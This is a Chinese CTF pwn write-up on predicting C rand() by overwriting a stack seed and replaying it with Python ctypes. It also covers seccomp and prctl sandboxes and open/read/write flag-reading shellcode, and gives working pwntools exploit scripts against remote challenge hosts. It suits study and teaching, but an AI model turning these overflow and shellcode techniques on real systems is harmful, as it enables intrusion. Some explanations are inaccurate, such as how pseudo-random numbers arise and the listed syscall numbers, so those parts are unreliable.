校赛团队共做出两道pwn,剩下两道为覆盖随机数的题,以前没学过,正好出来研究一下。
先研究一下原理,在做题。
先了解下这几个C语言函数
srand()
srand
是 C 语言中的一个库函数,它用于播种由函数 rand
使用的随机数发生器。它的声明为 void srand(unsigned int seed)
,其中 seed
是一个整型值,用于伪随机数生成算法播种;
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int i, n;
time_t t;
n = 5;
/* 初始化随机数发生器 */
srand((unsigned) time(&t));
/* 输出 0 到 50 之间的 5 个随机数 */
for( i = 0 ; i < n ; i++ ) {
printf("%d\n", rand() % 50);
}
return(0);
}
用法它初始化随机种子,会提供一个种子,这个种子会对应一个随机数,如果使用相同的种子后面的 rand() 函数会出现一样的随机数,如: srand(1); 直接使用 1 来初始化种子。不过为了防止随机数每次重复,常常使用系统时间来初始化,即使用 time函数来获得系统时间,它的返回值为从 00:00:00 GMT, January 1, 1970 到现在所持续的秒数,然后将time_t型数据转化为(unsigned)型再传给srand函数,即: srand((unsigned) time(&t)); 还有一个经常用法,不需要定义time_t型t变量,即: srand((unsigned) time(NULL)); 直接传入一个空指针,因为你的程序中往往并不需要经过参数获得的数据。
进一步说明下:**计算机并不能产生真正的随机数,而是已经编写好的一些无规则排列的数字存储在电脑里,把这些数字划分为若干相等的N份,并为每份加上一个编号用srand()函数获取这个编号,然后rand()就按顺序获取这些数字,当srand()的参数值固定的时候,rand()获得的数也是固定的,所以一般srand的参数用time(NULL),因为系统的时间一直在变,所以rand()获得的数,也就一直在变,相当于是随机数了。只要用户或第三方不设置随机种子,那么在默认情况下随机种子来自系统时钟。如果想在一个程序中生成随机数序列,需要至多在生成随机数之前设置一次随机种子。
即:只需在主程序开始处调用 srand((unsigned)time(NULL)); 后面直接用rand就可以了。不要在 for 等循环放置 srand((unsigned)time(NULL));
rand()
rand` 是 C 语言中的一个库函数,它返回一个范围在 0 到 `RAND_MAX` 之间的伪随机数。`RAND_MAX` 是一个常量,它的默认值在不同的实现中会有所不同,但是值至少是 32767。它的声明为 `int rand(void)
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int i, n;
time_t t;
n = 5;
/* 初始化随机数发生器 */
srand((unsigned) time(&t));
/* 输出 0 到 49 之间的 5 个随机数 */
for( i = 0 ; i < n ; i++ ) {
printf("%d\n", rand() % 50);
}
return(0);
}
所以我们整理一下思路,也就是srand是可以放任意参数,可以生成所选参数代表的随机数。而rand是可以输出srand所产生的参数,for循环几个,可以产生几个。
pythonDku__ctypes
了解了这几个函数,还有一个python库需要了解,就是python的C语言的库
作为我们pwn手,应该了解一下Ctypes库的用法,在我们将要所解决的题中,就要调用这个库,来实现上述两个函数的作用,当然也有别的办法,只要不嫌麻烦。
libc = cdll.LoadLibrary('libc.so.6')#这里的libc.so.6应该可以不是固定的,只要解决问题用哪个都行。
这行代码使用 ctypes
库中的 cdll.LoadLibrary
函数加载了 /bin/x86_64-linux-gnu/libc.so.6
路径下的共享库,并将其赋值给了变量 libc
。这样,你就可以使用 libc
变量来访问该共享库中的函数。
介绍那两个函数用途,要开个题。才容易理解。
payload = b'a'*offect + p64(100000000)#进行一个覆盖
p.sendlineafter('????',payload)
libc.srand(100000000) #参数与p64()内相同
for i in range(n): #进行输入数据
num = str(libc.rand()% ?d)#在 Pwn 中,payload 通常是一个字符串,它包含了要发送到目标程序的数据。这些数据通常是一些特殊构造的字节序列,用于触发目标程序中的漏洞或执行特定操作。由于字符串可以方便地表示和操作字节序列,因此 payload 通常是一个字符串。
p.sendlineafter('????',num)
看着保护全开,我觉着这也应该是随机数题的常态吧。。。
直接运行一下程序,看一下运行情况吧。
一个输入点,输入名字,随便输一下。
猜数了。
差不多,输名字,猜数。
放入IDA看一下。
seed是种子,用来是srand随机发生器产生随机值,产生随机值后,赋予V6,然后我们要输入一个数,赋予V4两者比较,若不同就GG,若相同,则执行sub_C3E函数
而sub_C3E正是我们获取shell的关键。
v7是我们覆盖地址的关键,只要我们将seed覆盖一个我们可知的随机数就okkkk了,构建一下payload覆盖种子。
payload = b'a'*(0x30 - 0x10) + p64(123)
from pwn import *
from ctypes import *
context.arch = 'amd64'
context.log_level = 'debug'
libc = cdll.LoadLibrary('libc.so.6')
#p = remote()
p = process('guess')
payload = b'a'*(0x30 - 0x10) + p64(123)
p.sendlineafter(' name:',payload)
#p.recv()
#p.interactive()
libc.srand(123)
for i in range (10):
num = str(libc.rand() % 6 + 1)#根据他的格式写的随机数。
p.sendlineafter(' number:',num)
print(num)
p.interactive()
题目一:是男人就下120层
64位程序,栈上有canary,不能再栈上写东西,堆栈不可执行。
运行一下程序,是选择系列。拉进IDA看一下。
进一下main函数,看着代码挺复杂,其实都是纸老虎,有用的也就几个而已。注意看程序也就才有一个输入点,在for循环内,看一下没有任何栈溢出点
只要让程序到cat_flag就okkkkk了
接下来做的,也就是模拟程序代码——用ctypes库
from pwn import *
from ctypes import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('easypwn')
p = remote('node4.anna.nssctf.cn',29000)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
libc.srand(libc.rand() % 3- 1522127470)
for i in range (120):
num = str(libc.rand()%4+1)
p.sendlineafter('Floor ',num)
p.interactive()
不知道为什么,有时候能够打通,有时候不能,我猜大概率随机数不同的原因吧
失败了。。。
成功。。。
Random–沙盒与orw机制
这题的复现,需要补充一下知识。所以先了解一下沙盒机制和orw。
沙盒
概述
沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,**只能采取open/read/write的组合方式来读取flag。**当然有些题目可能还会将上面三个系统调用砍掉一个,进一步限制我们获取到flag,这个会在后面的例题看到。
开启沙盒的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl函数调用
int sub_1269()
{
__int16 v1; // [rsp+0h] [rbp-70h] BYREF
__int16 *v2; // [rsp+8h] [rbp-68h]
__int16 v3; // [rsp+10h] [rbp-60h] BYREF
char v4; // [rsp+12h] [rbp-5Eh]
char v5; // [rsp+13h] [rbp-5Dh]
int v6; // [rsp+14h] [rbp-5Ch]
__int16 v7; // [rsp+18h] [rbp-58h]
char v8; // [rsp+1Ah] [rbp-56h]
char v9; // [rsp+1Bh] [rbp-55h]
int v10; // [rsp+1Ch] [rbp-54h]
__int16 v11; // [rsp+20h] [rbp-50h]
char v12; // [rsp+22h] [rbp-4Eh]
char v13; // [rsp+23h] [rbp-4Dh]
int v14; // [rsp+24h] [rbp-4Ch]
__int16 v15; // [rsp+28h] [rbp-48h]
char v16; // [rsp+2Ah] [rbp-46h]
char v17; // [rsp+2Bh] [rbp-45h]
int v18; // [rsp+2Ch] [rbp-44h]
__int16 v19; // [rsp+30h] [rbp-40h]
char v20; // [rsp+32h] [rbp-3Eh]
char v21; // [rsp+33h] [rbp-3Dh]
int v22; // [rsp+34h] [rbp-3Ch]
__int16 v23; // [rsp+38h] [rbp-38h]
char v24; // [rsp+3Ah] [rbp-36h]
char v25; // [rsp+3Bh] [rbp-35h]
int v26; // [rsp+3Ch] [rbp-34h]
__int16 v27; // [rsp+40h] [rbp-30h]
char v28; // [rsp+42h] [rbp-2Eh]
char v29; // [rsp+43h] [rbp-2Dh]
int v30; // [rsp+44h] [rbp-2Ch]
__int16 v31; // [rsp+48h] [rbp-28h]
char v32; // [rsp+4Ah] [rbp-26h]
char v33; // [rsp+4Bh] [rbp-25h]
int v34; // [rsp+4Ch] [rbp-24h]
__int16 v35; // [rsp+50h] [rbp-20h]
char v36; // [rsp+52h] [rbp-1Eh]
char v37; // [rsp+53h] [rbp-1Dh]
int v38; // [rsp+54h] [rbp-1Ch]
__int16 v39; // [rsp+58h] [rbp-18h]
char v40; // [rsp+5Ah] [rbp-16h]
char v41; // [rsp+5Bh] [rbp-15h]
int v42; // [rsp+5Ch] [rbp-14h]
__int16 v43; // [rsp+60h] [rbp-10h]
char v44; // [rsp+62h] [rbp-Eh]
char v45; // [rsp+63h] [rbp-Dh]
int v46; // [rsp+64h] [rbp-Ch]
__int16 v47; // [rsp+68h] [rbp-8h]
char v48; // [rsp+6Ah] [rbp-6h]
char v49; // [rsp+6Bh] [rbp-5h]
int v50; // [rsp+6Ch] [rbp-4h]
prctl(38, 1LL, 0LL, 0LL, 0LL);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 9;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 53;
v16 = 7;
v17 = 0;
v18 = 0x40000000;
v19 = 21;
v20 = 6;
v21 = 0;
v22 = 59;
v23 = 21;
v24 = 0;
v25 = 4;
v26 = 1;
v27 = 32;
v28 = 0;
v29 = 0;
v30 = 36;
v31 = 21;
v32 = 0;
v33 = 2;
v34 = 0;
v35 = 32;
v36 = 0;
v37 = 0;
v38 = 32;
v39 = 21;
v40 = 1;
v41 = 0;
v42 = 16;
v43 = 6;
v44 = 0;
v45 = 0;
v46 = 2147418112;
v47 = 6;
v48 = 0;
v49 = 0;
v50 = 0;
v1 = 12;
v2 = &v3;
return prctl(22, 2LL, &v1);
}
如上面代码所示,展示的是prctl开启沙盒的方式,上面的代码是直接来自某道真实pwn题,经过IDA反编译后的结果。这里最关键的代码是两个prctl的调用,然后其它看似很零散的变量其实是用来设置沙盒的结构体,只不过这里被IDA解释成了这样。
// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp库函数
该库函数的使用就比较简单和清晰了,下面的代码也取材于某道真实的pwn题,方便起见,我直接在代码中进行了注释。
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load - Load the current seccomp filter into the kernel
if ( seccomp_load(v1) < 0 )
{
// seccomp_release - Release the seccomp filter state
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
指令:
seccomp-tools dump ./elf
第一种,也是最常见的,禁用了execve或者system
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
这种可以通过 open read write 来读取flag
第二种,是禁用了 open,write,read
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
orw机制
什么是orw?
所谓orw就是open read write 打开flag 写入flag 输出flag
ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式调用 open, read, write 的来读取并打印 flag 内容 fd = open (‘/flag’, ‘r’) read (fd,buf, len) write (1,buf, len)
有两种方法,一种直接写汇编,一种利用shellcraft构造。
下面是汇编:
首先流程是这样的:
open('文件名',0,0)
read(文件描述符,'文件名',读取大小)
write(1,'文件名',写大小)
我们想要读取flag文件里的内容,所以应该构造如下
open('flag',0,0)
read(3,'flag',0x30)
write(1,'flag',0x30)
那么就可以有如下的汇编代码
第一行payload中的push 0x00;push 0x67616c66相当于push /x00galf,因为是小端序,倒过来就是push flag/x00。 open的系统调用号是0x5,read是0x3,write是0x5.
代码如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']
payload=asm('push 0x00;push 0x67616c66;mov ebx,esp;mov eax,0x5;mov ecx,0;mov edx,0;int 0x80;')#
payload+=asm('mov eax,0x3;mov ecx,ebx;mov edx,0x30;mov ebx,0x3;int 0x80;')#
payload+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')#
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(200)
print(flag)
利用shellcraft代码如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','29583')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)#记得要把代码转换成汇编语言
r.recvuntil('Give my your shellcode:')
r.sendline(payload)
flag=r.recv(100)
print(flag)